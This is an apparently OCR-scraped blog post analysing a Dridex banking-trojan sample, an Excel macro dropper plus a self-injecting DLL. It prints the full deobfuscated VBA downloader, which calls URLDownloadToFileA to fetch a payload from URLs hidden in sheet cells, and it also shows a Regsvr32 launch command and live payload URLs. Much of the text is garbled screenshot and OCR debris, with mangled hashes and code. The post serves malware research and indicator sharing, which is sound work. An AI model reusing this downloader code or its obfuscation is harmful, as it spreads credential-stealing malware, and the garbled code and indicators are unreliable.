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Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group
referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft
office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets
with ransomware [2].

In this post, presenting reverse engineering malware of the recent Dridex sample that has been found in the wild earlier this
February. The analysis highlights the techniques and codes used by the threat actor; and the method used to analyze this
sample and extract hidden IOC and files that has not been detected by sandbox. Note that multiple labs got different artifacts
and indicators so this work is almost a contribution to others security labs and researchers. This malware has two stages, the
first one is an Excel file that has embedded VBA macro which infect the system with a DLL file that runs as a process in the
second stage.

File
File Name SHA265 Size
printouts_of outstanding_as_of b721618810b06ed4089d1469fc5c5b37be1a907fc1ae14222f913c6e2b0001¢c2  115.81
FEB_01_2021.xlsm KB
libeay32.dll 26a659ec56¢c7bd7b83a2f968626¢1524bda829e0fefff37ecf4c4fb55ad158e3 570.00

KB

[Table 1] Samples Basic Properties, Ref: Any.Run [3] [4]

Malware analysis

1. Excel File with Locked Macro

As what appear to look like an invoice delivered via email at the first day of the month is a malicious spreadsheet. The XLSM
extension is indication that M stands for Macro and the code only runs when macro feature is activated and clicking on the
sheet! What looks like cell with number are just images linked to the macro.
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https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/
https://malpedia.caad.fkie.fraunhofer.de/actor/indrik_spider
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://app.any.run/tasks/8e693e74-befe-4c01-ad8e-aed066254d5b/
https://app.any.run/tasks/0a690f3a-3bfa-4490-9022-2057163ea5cc/
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[Figure 1]
There’re three hidden sheets and locked macro! Apparently locked doesn’t mean password protected, it means locked! And

can’t be extracted and reused in new excel for this case in particular.
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[Figure 2]
To debug this sample require two steps:
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https://aaqeel01.files.wordpress.com/2021/02/1.-figure-1-1.png

First: extract the sample and locate the malicious file that has the macro using oledump.py. Identifying the macro is located at

the fifth stream which is a VBA code.

551 'PROJECT'
104 'PROJECTwm'
991 'VBA/Sheetl'
991 'VBA/Sheet2'
5824 'VBA/Sheet3'

2189 'VBA/__SRP_08'
423 'VBA/__SRP_1'

oo WP
=S == =

10: 1045 'VBA/__SRpP_2'
11: 780 'VBA/__SRP_3'
12: 552 'VBA/dir'

le.txt]]
Oledump On Linux machine
Below is the extracted code

999 'VBA/ThisWorkbook'
3268 'VBA/_VBA_PROJECT'

remnux@remnux:~/sample/folder/x1%$ oledump.py vbaProject.

Ferﬁnux@remnux i~/sample/fTolder/x1%$ oledump.py vbaProject.bin

bin

-5 5

-v > MacroFi

[Figure 3]
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#If VBA7 And Win64 Then
Private Declare PtrSafe Function yellow_pages Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
Byval pCaller As LongPtr, _
Byval szURL As String, _
Byval szFileName As String, _
Byval dwReserved As LongPtr, _
Byval 1pfnCB As LongPtr _
) As Long
#Else
Private Declare Function yellow_pages Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
Byval pCaller As Long, _
Byval szURL As String, _
Byval szFileName As String, _
Byval dwReserved As Long, _
Byval 1pfnCB As Long _
) As Long
#End If
Function last_counter_a(nimo As Variant) As String
Randomize: df = 2 - 1: last_counter_a = nimo(Int((UBound(nimo) + df) * Rnd))
End Function
Sub Prv_invoice()
RoLo = Split(RTrim(first_prepayment), progress_bars(")"))
Sheets(1).Cells(3, 1).Name = "ForA_" & "s"
storages = Split(RoLo(1), progress_bars("+"))
For A = 0 To UBound(storages) - LBound(storages) + 1
On Error Resume Next
Sheets(1).Cells(3, 1).Value = "=" & storages(A)
Run ("ForA_" & "s")
If A = 12 Then A_min_1 = re_order:
If A = 14 Then
vega = re_order
yellow_pages 0, date_to_date(last_counter_a(Split(RoLo(@), progress_bars("D")))), A_min_1 & "\" & vega, 0, 0O
End If
Next
End Sub
Function re_order()
re_order = Sheets(1).Range("B1:B5").SpecialCells(x1lCellTypeConstants)
End Function
Public Function date_to_date(rr As String)
date_to_date = Right(rr, Len(rr) - 1)
End Function
Function first_prepayment()
Dim cooperation As String
Dim rest_che As String: Dim value_cargos As String
Dim u As Integer: cooperation = accouintis(4)
rest_che = accouintis(3): value_cargos = accouintis(2)
For u = 1 To Len(cooperation)
rezzzult = rezzzult & book_rebook(cooperation, u) & book_rebook(rest_che, u) & book_rebook(value_cargos, u)
Next
first_prepayment = RTrim(rezzzult)
End Function
Function accouintis(d As Integer)
For Each ds In Sheets(d).UsedRange.SpecialCells(x1lCellTypeConstants): forTwo = forTwo & ds: accouintis = forTwo
Next
End Function
Function progress_bars(df As String)
progress_bars = Replace(String(4, "z"), "z", df)
End Function
Function book_rebook(y As String, k As Integer)
book_rebook = Mid(y, k, 1)
End Function

Second: Unlock the document by using EvilClippy tool which removes the malicious macro. Open the new version and create
new macro and paste the above VBA code. Previous incidents involve Dridex also notice the use of EvilClippy use
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https://github.com/outflanknl/EvilClippy
https://security-soup.net/analysis-of-a-dridex-downloader-with-locked-excel-macros/

+H +H GE|

mpression.cs  dridex.xlsm  dridex_EvilClipp  evilclippy.cs EvilClippy.exe LICENSE.md
y.xlsm

me to Linux Lite 5.2 user

day 06 February 2021, 19:26:59 [Figure 4]
y Usage: 844/3859MB (21.87%)

Usage: 13/20GB (70%)

rt - https://www.linuxliteos.com/forums/ (Right click, Open Link)

ECEE B I E TR ER g mono EvilClippy.exe -uu dridex.xlsm
g the project visible...
Downloads > EvilClippy-master M |

Unlocking the xIsm file
Before debugging the code, the main sheet and the three hidden ones got some characters white colored spread among cells
by 7x7000 size. After a bit of cleaning they appear be random, but not encoded. Below are the sheet characters.

G

P [Figure 5] Random cells from Excel file
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Emmmﬂim&mﬂim%md

1 dt:lsawognczDDos/amki . thhm. rDhp/fasrotnsezv2zDDis/kaacrohw.pDhp/ia.inbnitaidliiDlc:
ruchoj0izDDts//slntnthogoh. rDhp/wkxec/c06iDct :w.chdac/ 7k . rDhp foraaiobhzd. pDhpfrnuoododh0zDDt s/

alaict.myezDDts/rea.mkfarlDts/naiur . pDhp/h.oneocTwzDDtsficlerimzizDDts/1lbenc/x4ralvt :blyeanga

.pDhp/ada.mzerDDts/laict .md4tdrDDts/1glgec/Sealot thero/b7iDot :n.ur .m0TtzDDtsfthosyE.pDhp/c. ./
gaaD8t:a.tcnsogl. rDhpfus.btr99iDwt:di.e.tp5y.pDhp/earcsoagwi . rDhp/fsrgcpioom3 . xtDhp/
uvittbeottfiD2t:accsc/wkxiDzt :w.reaocv] .pDhp/leye.ml2 . rDhp/racpainantuizDDos/tpsoxls.pDhp/c.
fnybzDDts/bhesuoc/wlzDDtsfiaaalgle/sc.phhpfwstnre/rn. rDhp/fleeseoc. /b9 .pDhpfkdsif22ilrtgaa.
tfj3alvt:jabdeismoog. pth/psnnlDIgzDDts/Iweamlc/jECLDSt kbdnsndS . pDhp/wi3 . mjpviDbt :miad.
nagcket.mté&laDot :hbertainan2w.pbhp/esolteec/So9-D0ts/ytne. lo.mmd . rDhp/hhssteln.mjarDDts/nnei.
nngcc/r3. Ith/alclgtDant soriocao.fp3hiDat: klotsgqozaDgt diloidlg.rDhp/sodi.msn.pDhp/Siltotnc
SlézDDt=s/dnai /o hpfaueegefoxiDgt:talefc/v3.rDhp/mg. £ht .pDhp/ofpr. . f£t5iDct: siamesezezDDtsf
bxobepézDDts/jal mab meéczDDts/ase. m3udzDDtsjeoslromﬂczDDts/jmmac/anDgt tebobae . tDhp/rdecun/
gl9iDzt:1sgo.m3zprDDtsfsvo.mrdwuaDjt:bbt.ofbviDtt :hkdcf4t . rDhpfrnapnnosopt . rDhp/
uakIdeaDtgllet.qndba.mBmEZDDtsflbf.mIlszDDts/dpcdsodln.pth/aa.mverDtstn.mkPCLDit:ahcmt./
77.rDhpfdeu.e.tud. pth/ciesnc/spzDDtsjsraaDi/wnaDnt:w.nvi.gzerDts/aspnwldlit:w.aImic/

= /fdtgsc/vhziDut :mnac/vy5ziDdt iweiantc/oh. rDhp/u.mab.m80zDDts fbtbsli . .mfjjzDDts/rgr.

mﬂdszDts/Ihtc/flaDjt noteamic/lpiDn ,.cle.mZtIDDts/iceacdsoqu.pth/eaiasi/ll.Ith/
lsenaolp0iDkt:tteynaodkfaDrt:cpavau. tpemrDDts/ceirwh. pDhpfuaaoca. t95arDDts/ise . mdocalot :
ctgcsobdf . rtDhpfeoleolasedc/is . pDhp/dheachgniDet i ccerfdxzDDts/libdc/rkiDtt :ovioilsrewjzDDts/

rsrcf03aD2t:ispc/ejzDDes/oltslld. fgfzDDos/pra.£i2.pDhp/piipa. rDhp/caatknti.mweceiDmt :mlerefec/
up.pDhp/aacwgprDDts/r.mab.mxn.plbhpfio.narc/laz) )TA(i"H (1++TA (A")+ENEh
"\ ++ (NB (AHd, TOSCLl) , O (L) +5.M""3) +AEK (U++TA (kcl+CC.YR) +E "4+5 . M"gw, "Elxh"th++TL (e"S&E1HTA(
BLTEWEA () FDEmgG.RPE311&0l1h&
"iiph)+EVUBb++TA (bLTH (N) 6 TCRA (29&ARD*+)H(N) 6 TCRA (292ARD*+)H(N) 6 7TCRA (29, N) +&d"+5.L{, }+A{go
" E&C"L,z"kn":is"0 ba0)+I.0(L)
C#source file length: 2,092 lines: 1 Ln:1 Col:2083 Pos;2,093 Windows (CR LF) UTF-8 INS

EmmdemﬂmMﬁmﬂmd

1 hp/fesd.m221iDlt:sraenseSbkrDDts/khelisifubuiDst: shlmh . mvmzDDts/brahtastecncs . pDhp/cta.
m3zniDjt:aaa.zfe.mvxzrDDts/wnfdomjn.pDhp/wmtmadoaforDDts/meig.mrv2dzDDts fegemu. met7iDnt :
uholteec/s8iD5t::msrlc/xhlaDnt:pa.zbfzDDtsfozmg.m3zciDst:hfoe.gl0z0iDkt::amizeon7l. rDhpfused. /
k9zDDts/karc/x6aDbt imolteec/ xialxt:rkcleogd. rDhp/edgrgx.pDhp/gesic/idaiDgt:: ge.maczzDDLs/
rcztx.rDhp/pcili . mkcrDDts/flkwsebd. pDhp/facivseibkzDDts/usvi . mrfgerDDts fnsmoun. mwerDts/anru
ma7 .pDhp/tnagovsv.plhp/vmer .moyizDDts/odbac/rdrDDtsfotrylld. /ddciDbt::nal .moumzDDtsf3ic

iW.eeotnocSbiD2t: scinclegoowuzDDos/fwptfeoigSrDDes/tnlsnsoatlSzDDes/ ..e.tjv.pDhpfapkseya. rDhp/
uvaocaon.mk5zDDts/ . .mgyn/mxiDgt : ciplmolou6k. pDhp/haaes . fnuzDDts fwalc/tt .pDhpfocfemcfukidoc/

. ofeaxaslld. fktzDDts/g.coynrouaialit:euknbzitc/SczDlt=sfeaitungdc/g2alDat:

cttnnrkeeyowhsIDDES/kleEq rDhp/clspsnniozd.pDhpfuahe. fzb. rDhp/itamnsSTrDDos fpuaocc/ TvzDDts/ .

ndalisoskeiDot:mle.tjgfrDDts/dsbsnoec.pbhp/frteleogqnérDDtsfouioTuzDDts/tlrucivnyv. pDhpfatlidi/

piiDnt:chb.mri20iDjt:bamneamic/35ilgt:1l.tvefrgbiDzt: jlnsv.mas5iDlt:auamrois. rDhp/rl . mudkrDDts/f
at.asey35.phhp/eporc/vEBfabmt: fuerc. /2t . rDhpfacesrwy.pDhp/alyop2drDDts feisatgr .mgfrDDts frnbios

.mga .pDhp/utoatc/£38iDet: luuec. fTnilxt : topse .mgS5zDDts/flhc/jvaDdt :pnhc/32 . pDhpflahirivuajrDDts

fuciivsef0zDDts/olfhnobrjiDlt:tharlnnzl. rDhp/wmuado/as8aDet :uth.mdp.phhp/waniucogz4iDxt:
ioeelhorpn.pDhp/eihos07.pDhp/ontmdeow2wrDDEs fbeamic/wziDkt : jshesuoc/ro0iDet i setec/z1lwilwt :
aoovoba.rDhp/ilhlmolomf . pDhp/hdrc/t3aDft: stanrse.mv5pzDDts/tflt. tbulrDDtsfutlf.mch . pDhp/eusvi
.mhi.rDhp/ootonin/emlaDpt :worosuszDDts/rnugsn/gr2aD3t:a.tve/v0.rDhpfodro.mr06xDDLs/rn.
ratirsorwfzDDts/iid.mrb.pDhp/lk.g7i2iD7t: tkvuyoml.pDhp/fuicpcstebg8ilwt : gyteowS . rDhp/
nhsofyriDEt:frwe.o0iiip2kiDet:a.eniofzzDDts/atn3frDDts/sunasdoec/u3 .pDhp/a.ptrisomeSzDDts/f

++TL (k, "+ITUESR (oG.RPE) ,C5F5) +ENEo, 2 ++
CITEWER())) "eTk
.(ch-nB 5"1)+EVUBa++

lslmbhaDwt:cicamic/14=0 ,f/snaimﬁololi)S.H”;,A;j—5.;
NLETE+4S .M""1i) +AEK (U++TA (O™ ) +ENE 7

"E1""k++TAEZL+5.M""E (ARD*+)H (H) 6
Lwb0S5odwaAmm"Cs, v EE" T

RL
n"v&,—"bb, ++LCSFS
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EmmmﬂﬁmﬂmJEmﬁmm
1 ts/nhoc/5y p/hkrtgi//vbxaDtt:leosuo. tvge.pbhp/iwsaac/pwiDét: lryramitu. . /bfzDDtsforcc/oh.
pDhp/flgimiocc/eudal3t:w.oe.mrySzDDts /fwsaeb. . mprxaDét : cpmsuc. /stdiDmt : gelcpnc/vl.pDhp/t.
ceynrovm.pDhpfacesoz0j . rDhp/irb/ciiD4t: spoalc/fl.pDhpfaalgo. /05 . pDhpflolo.mrdxrDDes/
lemiidyviDOt :meceog0.zDhp/.cocynromns. rDhp/kpoe.mltrDDts/s0.ghbzDDtsfodptosexx . pDhp/ucc. f45iDlt
:bgoaelrDDts/fpusicc/sual4c:paiei/v7zDDes/nldsifasliDft inmeioc. /3t7alvt: st . —mtde,folaD0t:
hfgnlnc/lszDtsjhap mglgzDDts/watrc. fjuiDct:ivarkozvyaDrt:amha.oiiiven.pDhp/equc/ouliD=t : gmn/
pDhpfetbsli . mia.pDhp/rhtyvoen . mgnviD0t iw.iii.mmg%aD5t;erdoui .mrtfiiDat:uivsenxzDDts/fiesi/f

DZIDDts/m lrtnac/h0iDut:woao. fxi.pDhp/oa.mab.mpod4zDDtsfarrwilgzilet :w.m3ooyczDDLs/
brtvirtisnirovlérDDts/rltc.oiiiiwpiDlt:valaict.mcz.rDhp/gtoybothod8waDgt:skrnitaoaotu. rDhpfoe

—geacan.mifialD8t:ts. . /izrDDts/hah.mgyn/f4zDDts/cnolnetgrDDts/fgax. /d92albt : dfntnook3iDT7t:

o faevselo3alyt: cowdi . .mgzzDDos/vhti . mwemalmt : esen/fqlDrt ni.izon44gzDDts/grit.

tmx. pthjwnc /pc.pDhp/acpglmolofy. pDhp/mcdsorle . pDhpfobiiec/69.pDhpfrnjd. m3crDDesfuyc/is6aD4t
° imueEpt . tOjkzDDts/tDylelz.IthjfrysobgzgIDDts/mDatedzzDDts/ca.m?vnant:sevaiiwkc/bsaDat:
gbaannic/3dzD0t=//iaaceokd3.pDhp/eiftobhe.pDhpfoa.tvcfudxiDet:ssdoty. rDhpfoodoigozDDts/p—

esyrsrkalD7t:exrrtdsi/fk3iDyvt:evliai.myv.plhp/uagw. lebSxrDDts/wievargn. rDhp/oeoc/sczDDt s /wdons . m3a
.pDhp/n.fni.m3rlzDDts/uk.mnkgzDDts/mwhaa .mk00aDdt : cclmolog2. pth/o eeotnoil2 .pDhp/tnhrotsE.
pDhp/gsw.m5rrDDts /e .mab . mvuzDDts/idmoep . rDhp/mhld. tve/obmilst s jtfieseqvgalve: bee1rcj DzDDts)
xrbitc/zurDDts/rrislsedae. rDhp/pd. /bnoiDgt :bbktlsezev. Ith/pcdsocDgrDDts/lDaec J e ut:
psapsarnf.mhoxiDvt:atmic/ofzD0t=/ico/q]j.pDhp/aled.my0zDDts/rsnta.o/nx.pDhpfo-o. thIDDtsjtl
mby pDhp/laarainanss.pDhp/ppran/72iDlt :be. fg6aDkt:rtrtlasrsootjzDDLs/iwansl . mwlsiD3t:pb. /f

75 “'“:/Dalmﬂloddalet vislsa.mlt.p)ENEcC1CRO)+ENEm, "+5.M"0" ) +FSMEREC""EWERA ()
TA(O"™"+CC.YR)+ENEh, 14+4NLETE4+S5 . M""04+4TA (hf"hh"E&L su& ) +EB ENEL, FG.RPE3 (N"an , TOSC2
—)La&k0Tc n&_+s.L{,)+ENEa,FCRA(_:&nRD*+)H(N>:‘_:"(__&ARD*+)H(N>»‘ S&BRD*4+) A (7) . 14+TAE2b+
CLe&, "hfz"AACCMOOph™, "kgro™s&&, 0+FELEAE

[Figure 6] characters extracted and cleaned from three sheets

Sheet1

dt:1lsawoqnczDDts/amki.thhm.rDhp/asrotnsezv2zDDts/kaacrohw.pDhp/ia.inbnitaidliib1t:ruehoj0@izDDts/slntnthoqoh.rDhp/wkxe

(NB(AHd, TOSC1),0(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv, "+S.M"gw, "k1xh"th++TA(e"S&&1++TA(bLTEWKA( ) FDRmgG.RPE311&01h&"i8
ba®)+I.0(L)

Sheet 2
hp/esd.m221iD1t:sraense5bkrDDts/khelisi/u6uiDst:shlmh.mvmzDDts/brahtastecnc8.pbDhp/cta.m3zniDjt:aaa.zfe.mvxzrbDts/wnfc
"bb, ++LCSFS

Sheet 3

ts/nhoc/5y.pbhp/hkrtgi/vbxaDtt:leosuo.tvqc.pbDhp/iwsaac/pwiD6t:1lryramitu../bfzDDts/orcc/oh.pDhp/lgimiocc/eu8abD3t:w.oe.
mtdc/o01aDOt:hfgninc/lwzDDts/hap.mgqlgzDDts/watrc./juiDct:ivarkozvyaDrt:amha.oiiiven.pDhp/equc/@QuliDzt:gmn/93.pDhp/etbs
geaoan.mi8iaD8t:ts../izrDDts/hah.mgyn/f4zDDts/cnolnetqrDDts/gax./d92aDbt:dfntnook3iD7t:5faasuo.mnq.pDhp/aevselo3aDyt:
esyrsrkaD7t:errtdsi/k3iDyt:evlai.myy.pDhp/uagw.leb9rDDts/wievargn.rDhp/geoc/sczDDts/wdons.m3a.pDhp/n.fni.m3r1zDDts/uk
o.mhcrDDts/ti.mby.pDhp/laarainanss.pbDhp/ppran/79iDlt:bc./q6aDkt:rtrtlasrsootjzDDts/iwansl.mwlsiD3t:pb./75.rDhp/oalmol

LEAE++TA(0""+CC.YR)+ENEh, 1++NLETE+S.M""0++TA(hf"hh"E&&u&)+ENEwb" "k1)+ENEb, FG.RPE3(N"an, TOSC2, - ) La&0Tc1m&o+S.L(, )+ENEa

When debugging the code it appears to be those random characters spread on sheet cell start forming three arrays. When
reading it top to bottom one character at the time it appears to be URLs. After complete running the code it generates over a
100 URL, all the URLs are in Appendix — A

Locals

| VeAProject. Module 1. first_prepayment

Expression [value [ Type

Wodulel Module1/Module
first_prepayment Empty VariantEmpty
cooperation pDhpiia.inbinitaidliD 1t:ruehoidizDD rDhpt hdac/Tb.Dhpioraaic String
rest_che “hplesa Dst:shimn. pOhpicta f String
value_cargos “ts/nho Ditleosuo tvg I w.oe.mry String

u 890 nteger
rezzzult ipDD! ing si rarDD! i ipDODD: Variant/String

[Figure 7] Debugging VBA code

After re-debugging multiple times there appears to be two random I0OCs generate. A URL to connect download site and the
DLL file name. What'’s interesting is that some! Of the generated URLs are not from the list in Appendix -A and that is what
Dridex is all about. Below is three samples of random generated I0Cs. Further IOC are found in VT.

7/21


https://www.virustotal.com/gui/file/b721618810b06ed4089d1469fc5c5b37be1a907fc1ae14222f913c6e2b0001c2/detection

| VBAProject. Module1.Prv_invoice

Expression ‘alue

Module

Rolo

storages

. A 14

A_min_1 "Chlzers\anatystappbatallocalTempl”
vega "edtcsreb.di”
Locals

I VBAPraoject.Module 1.Pryv_invaice

Expression | Value
Madulg1
° Rolo
storages
A 15
A_min_1 "CA\Users\AnalystiappData\LocalTempl™
vega “hrkzjgrb.di

[Figure 8] Dropped DLL file

LIl ounce o

Public Function date_to date(rr As Stri
date to date = Right(rr, Len(rr) - 1)

| End Function

Function first prepayment ()

Dim cooperation As String

Dim rest_che As String: Dim value cargo:
Dim u As Integer: cooperation = accouimt

rest_che = accouintis(3): value cargos *
For u = 1 To Len(cooperation)
. rezzzult = rezzzult & book rebook(coopel

<| |

Locals
| vBAProject. Module 1.date_to_date
Expression | Value
Maodule1
m "whitps.//bluesteelinfra.com/lc0pb00.zip”
date_to_date "hitps://bluesteelinfra.comc0pb00.zip”

date to date = Right(rr, Len(rr) - 1}
x| End Function

Function first prepayment ()

Dim cooperation Rs String

Dim rest_che As String: Dim value cargos Az Strim
Dim u As Integer: cooperation = accouintis(4)
rest_che = accouintis(3): value cargos = accouint:
For u = 1 To Len{cooperation)

rezzzult = rezzzult & book rebook(cooperation, u)

ol |

Locals

| vBAProject Module1.date_to_date

Expression | Value

Module1
m "dhitps:Mcubc.elmamamobil. comig8w20z.zip”
date_to_date "hitps:fcubc.elmamamebil comig@w 20z.zip”

[Figure 9] Date-to-Date function selected URL

Finally, the end of this stage is creating a process that use Regsvr23.exe to run the create DLL. The third hidden sheet

contains the end/exit function of the VBA. There’s temporary file generated in the % TEMP% folder has a cache version of the
macro. Other network and host-based IOCs are found on VT.
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7 Single Step @

Cell: [dridex_EvilClippy.xlsm]feb20211A3

Formula:

=CALL{"5hell32", ShelExecuted |, TICCOCT 0, Open|, Tegswi32', "= C:
[Uisers [Analyst |[AnpDsta [Local[Temp [veprak. i 0,a)

[Figure 10]
[ stepinte | [ Evaivate ||  Hat  |[ Gote |
Pause ’ Continue ] ’ Help ]
File
File Name SHA265 Size

~DFDC192FF5186970D5.TMP  77AA147FC137EBB5FA8865DAES6ABC21AG6E87B8454125666A6F80F589A0005C  32KB

[Table 2] Temporary File Created
2. DLL File with Self-Injection

Up the time writing this post 13/69 of VT engines has detected this file as malicious

\ (1) 13 engines detected this file el
~ 5 - ]

13

268659ec54cTbd7b83a2f968626c1524bdaB29e0 efff37ecf4c4fb55ad158e3 570.00 KB 2021-02-0120:48:43 UTC 00
fbeay32 Size 5 days ago DLL
2
pedll
~
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY @

[Figure 11] VT
This binary never been seen before the incident and the compiled time from 2009. Other than that there are couple of
indicators this file is suspicious like the file size compared to strings, imported and exported sections, and resources section

pestudic 874 - Malware Initial Assessment - www.winitor.com — m} x

File Help

whdx 8?2

[EBCE] c\users\rem'\desktop\downid property value
-l indicators (1/12) mds DG632AEFS6AATT4FFATB2055TCFBDGAZ
P virustota! nesmorkeron) | g F63E424122EAGCTE9DED CEERIEEBFEFCATSADDAL
E :f:_ij:ﬂg’::;;g‘;m | shazs6 41CCAADE2EA4CE01ADBEDS14199B3BAS0B462450B A4ACEEF63D6ED3CED 1D08BT
"0 optional-header (GUD first-bytes (hex) 4D /54 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 BS 00 00 00 00 00 00 00 40 00 00 00 00 0D 00 00 00
.. 00 directories (7) first-bytes (text) A
O sections (99.22%) size 383680 bytes
O libraries (1/4) entropy 6.973
T imports (20/9/0/1/22) imphash 992F83ABACIFFCTFBFAI304931631EER
- exports (Menfigure) cpu 32-bit
om0 tls-callbacks (n/a) signature n/a
.7 resources (1) entry-point (hex) 8B FF 5588 EC 83 7D 0C 0175 05 E3 2B 3700 00 FF
~-abc strings (26/10/81/12/6003) | file-version 1.0.2
4% debug (path) file-description OpenS5L Shared Library
[ manifest (n/a) file-type dynamic-link-library
~{18] version (libeay32.dIl) subsystem GUl
[5G certificate (n/a) compiler-stamp Mon Dec 07 035121 2009
o ] overlay (n/fa)

debugger-stamp Mon Dec 07 03:51:21 2009

< >
sha256: 41CCAADE2E44CB01ADBEDS14199B3BAS0R462459BA4ACKEFR3DEED3CED1D0BET cpu: 32-bit  file-type: dynamic-link-library  subsystem: GUI entry-point: Ox00002601

[Figure 12] PeStudio view of the original DLL file
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file help

pestudio 8.99 - Malware Initial Assessment - www.winitor.com [c\usersiuser\desktophoffidINibrary32.dII]

whh X E %

indicators (2/26)

..... = directaries (7)
sections (99.82%)
libraries (4]

----- abc strings (18/6040)
4% debug (path)

When running this binary on IDA it seem to be too much gray and less code and resources. The binary isn’t detected to be

_:i resources (version)

=-7 chusers\user\desktophoffidillibrary32.dll

> dos-header (64 bytes)
B dos-stub (176 bytes)

file-header (Dec.2009)
> optional-header (GUT)

version (libeay32.dll)

1

ordinal (1)

name (1)

Menfigure

packed in Detect it Easy or PEiD, but there’s high Entropy.

-
[Figure 14] IDA

After few rounds on x32dbg it appears to be this binary is using DLL self-injection technique. To put simply there is a hidden
code that overwrite the original PE file with new file during runtime. This technique requires to allocate memory space to the

location

text:0047B700

[Figure 13]

hidden code first then extract it the code in the region of the memory. The overwritten happens on memory during runtime and

to make it happen it requires two setting two breakpoint (VirtualProtect and VirtualAlloc). Once hitting certain space memory

it's possible to extract.

After few runs and reaching the EntryPoint on x32dbg and being on the right module and setting, it is time to set the breakpoint

CO®E S0 T B §

@
H

Mar 42018

BNl WASE X SN Nl
By @oaph  [log [ UNotes  ® Breskponts W MemoryMsp [ Callstack  S@sen ol swipt %] symbok < Source R esds &) snowman B Hendes  §0 Trace
TP ECX EDT D 3 mov_edi,edi EntryPoint ~ [ wide Feu
. push_eb;
- mov ebp, es| EAX 00000000
. o1 oo dyotd e e
R ine Tibeay3a. il i
H ECX  004026D1 <libeay32.EntryPoint>
i . 00 00 €all libeay32. 405E0C -
L-se push dword ptr s: [ebp+8]:EntryPoint B8 CIEEEen JUibeayaZ 0usao00g)
. ecx:ENtryPoint EBP  0OBBFI2C
. ESP  0OEEF910
. FF FF ESI  00BBF920
. ecx:EntryPoint EDI 00402601 <libeay3z.EntryPoint>
. EIP 00402601 <libeay32.EntryPoint>
0 EFLAGS 00000244
2F1 PEL AF O
: 02 00 0o GFo SEo bE o
. 20 o0 eCxiENTryPoint CFO TFO IF1
. 20 48 00
. 20 00 LastError 00000000 (ERROR_SUCCESS)
. 20 48 00 Laststatus C0000135 (STATUS_DLL_NOT_FOUND)
. 20 00 editEntryPoint
. 16 00| me G5 0028 FS 0053
. DCz1 45 00 ES 0028 DS 0028
. E8 20 45 00 €S 0023 SS 0028
. £4 30 48 00
g [Eomzor4sioa X87rD 000D0000000000000000 STO EMPEY 0. 000K
2 XxB7r1 DODOODDDODODODODOOOD STL Empty 0.000C
. 21 48 00
N - Default (stdeall)
. 1: [espr4] 00400000 11beay32.00400000
. 48 00 2: [esp+8] 00000001
. [ebp+a] :EntryPoint |33 [esp=c] aooooooo
M 4o nn 4: [esp+1d] DODDDOOD
> 5: [esp+rl4] 0D04026D1 <libeay32.EntryPoint>
“edi=<libeay3z.Entryoint
.Text:004026D1 Tibeay32.d11: §26D1 #1aD1 <EntryPoint> —
& 77D42ED: ED& From
@oump1  @Moump2  @Woump3  @oump4  @pumps B watth1i  I-llocals ) Struet |_' 7o saen: 1beay32. 00400000
e 1 00000001
36/00 38 00[24 D9 CD 77[1C 00 1E 00[50 DI CD 77 | " 00000000)
77CD1010(28 00 2A 00|34 D3 CD 77|34 00 36 00|EC D8 CD 77 00402601| Tibeay32.EntryPoint
77€D10201 1€ 00 20 00/DC D& CD 77/1A 00 1C 00/C0 D3 CD 7/ 5| 00400000 1ibeay22. 60400000
77D1030(18 00 1A 00|AL D& CD 77|20 00 22 00|S0 D& CD 77 400000
77601040 30 00 32 00 Co__ 2c oo 22 0ol iCDsCh 77D3A288| return to ntdll.77paazss from nedll.77D4zEC
TR 1250 18 ooleenridzz 00402601/ Tibeays2. Entryroint
201050 5o e [ 00400000| 1ibeay22. 00400000
. Z0SE (D 77 0000001
77CD1080 06 72|06 00 08 00|ED & CD 77 0000000
77CD1090| 06 L2086 00 08 00|ES SD CD 77 D0OBBF944 || 27741825
77CD10A0| 08 Z| 1€ 00 1€ 00 I ooseFa:s [ oossreac
77CD10BO| 22 ZZ|(2A 00 2C 00|B4 8C CD 77 DOBBF94C || 01036650
Z7co10c0 Z CopE e 00EBF350 | 00000000
77CD10E0| 00 00 00 00|00 7 COBAESS 4100000001
o e T L 00BBF35 5 | 00400000| 1ibeay3z2 . 00400000
o 20 EADC 77 Soserazc || 0bo0I4AE
2023 DQ BOERRC77 e DomEFac0 | ooBEFs44l

20 EA D

25 FE 00

v [ ooseFess
> <

0103a860|

0088F9F0| Fointe

| rr————

<

[Figure 15] EntryPoint of DLL file
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W x32dbg - File: libeay32.dll - PID: 5376 - Module: libeay

9=
& cru

& 0¥

@ Gaph [ hlog  [1lNotes

Options

32.dll - Thread: Main Thread &

Mar 4 2018

txaa @l ¢ =@ #ix# | A

® Breakpoints B Memory Map

=

[ call Stack

[Figure 16] BreakPoints

Type Address |Module/Label /Exception State Disassembly
software
O08F0AZD Inactive
00330A29 Inactive
760ASEDD | <kernel3z.dll.virtualAlloc> Enabled |mov edi,edi
760A7D10 | <kernel3z.d11.virtualProtect> Enabled |[mov edi,edi

After hitting Run (F9) few time you reach to a <VirtualAlloc> breakpoint which by checking the EAX register appears to freed

up some space

3% x32dbg - File: ibeay32.dll - PID: 2592 - Module: kemelbase.dil - Thread: Main Thread 5504

Fle Vew Debug Trace Plugns Favouites Optons Heb Mer 42015
COE N TN 9 taB 2P ie a0
Bou @Boeh (20 [nots  ® Bredponts M wemoryMap [ CalStodk  SpseH  lo/soipt  Esymbos  Osowce S Rg Threads &) snowman @ Hendes 7 Trace
. T WOV eaT, 88T VIFEUATATTOE ~TFas o
55 push e
8 EC mov ebp, esp EAX  024F0000 Tibeay32. 02470000
= oS hyec EBX  OlEFaC2z
B bush scx o
8B 45 0C mov eax,dword ptr ECX 0DDoOBESE L
89 45 F8 mov dword ptr ss EDX 0076FA28
8B 45 08 mov eax,dword ptr Bebp+sl £z BT
89 45 FC mov dword ptr ss:[febp-4J,eax ESP. 0076F378 N
56 push es EST 025730F0 Tibeay32.025730F0
85 co test eax,eax EDI 025731A% Tibeay32.025731A9
~ 74 OC Jje kernelbase.756DFA34
